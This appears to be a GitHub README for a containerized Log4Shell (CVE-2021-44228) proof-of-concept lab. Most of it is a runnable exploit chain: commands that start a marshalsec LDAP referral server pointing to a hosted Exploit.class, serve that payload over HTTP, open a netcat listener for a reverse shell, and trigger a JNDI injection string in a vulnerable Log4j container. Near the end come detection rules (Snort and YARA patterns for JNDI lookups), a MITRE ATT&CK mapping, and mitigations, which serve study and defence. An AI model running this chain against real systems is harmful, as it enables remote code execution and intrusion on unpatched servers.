josemariamicoli/log4shell-poc**Log4Shell PoC is a high-fidelity exploitation environment designed to replicate the CVE-2021-44228 vulnerability.** It provides a containerized sandbox to demonstrate JNDI injection, LDAP/RMI referral redirection, and remote code execution (RCE) via the Log4j 2 library.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ PROOF OF CONCEPT & JNDI EXPLOITATION ]
Log4Shell PoC is a high-fidelity exploitation environment designed to replicate the CVE-2021-44228 vulnerability. It provides a containerized sandbox to demonstrate JNDI injection, LDAP/RMI referral redirection, and remote code execution (RCE) via the Log4j 2 library.
For Educational and Authorized Security Testing Purposes Only.
The use of this Proof of Concept for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The authors assume no liability and are not responsible for any data loss, system damage, legal consequences, or misuse caused by this program. By using this software, you agree to operate within the legal boundaries of your jurisdiction.
The attacker's side consists of three distinct channels to facilitate the PoC.
Exploit.class bytecode for the victim to download and execute.A Dockerized OpenJDK 8 environment running a vulnerable Log4j implementation.
Tab 1: LDAP Referral Server
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
Tab 2: HTTP Payload Delivery
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
Tab 3: Netcat Listener
nc -lvnp 9001
Tab 4: Launch Vulnerable Container
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
Inside the Container: Trigger the PoC
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| Phase | Technique | Alert Triggered? | MITRE ATT&CK |
|---|---|---|---|
| Initial Access | Exploit Public-Facing App | [ ] | T1190 |
| Execution | Command and Scripting Interpreter | [ ] | T1059 |
| Command & Control | Application Layer Protocol (LDAP) | [ ] | T1071.003 |
| Exfiltration | Non-Application Layer Protocol | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true to disable lookups.JndiLookup.class from the log4j-core JAR.172.17.0.0/16).